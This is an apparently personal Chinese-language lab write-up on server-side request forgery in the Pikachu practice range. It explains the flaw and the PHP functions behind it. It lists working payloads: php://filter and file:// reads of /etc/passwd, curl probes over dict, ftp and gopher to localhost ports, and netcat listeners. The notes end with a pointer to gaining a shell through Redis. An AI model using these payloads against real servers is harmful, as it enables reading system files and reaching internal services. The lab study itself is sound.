下载Pikachu靶场:https://github.com/zhuifengshaonianhanlu/pikachu
Windows用phpstudy也行,记得要改config.inc文件
打开SSRF靶场
如概述所说
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者----->服务器---->目标地址 根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec() 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。 你可以根据"SSRF"里面的项目来搞懂问题的原因
关于SSRF可以尝试的payload:
php伪协议:
php://filter/read=convert.base64-encode/resource=file
文件读取:
file://x://路径
url访问:
http://url/filename
curl的getshell利用:
查看 curl 支持的协议列表 curl-config -protocols 使用 curl 读取文件 curl -v file://etc/passwd
使用 ftp 协议 curl -v “ftp://127.0.0.1:6666/info”
使用 dict 协议 curl -v “dict://127.0.0.1:6666/info”
使用 gopher 协议 curl -v “gopher://127.0.0.1:6666/_info”
首先,进行dict来探测端口开放情况及服务
本机:
ssrf处
通过file:来读取指定的文件
Windows:file://C://test.txt
Linux:file:///etc/pwd
读取成功
其次还有
tftp --对应--》udp ftp传输 协议:nc -lvup 1234
sftp--对应--》ssh文件传输协议:nc -lvp 1234
(环境原因暂无复现成功)
下一步:
通过SSRF从Redis Getshell
参考链接: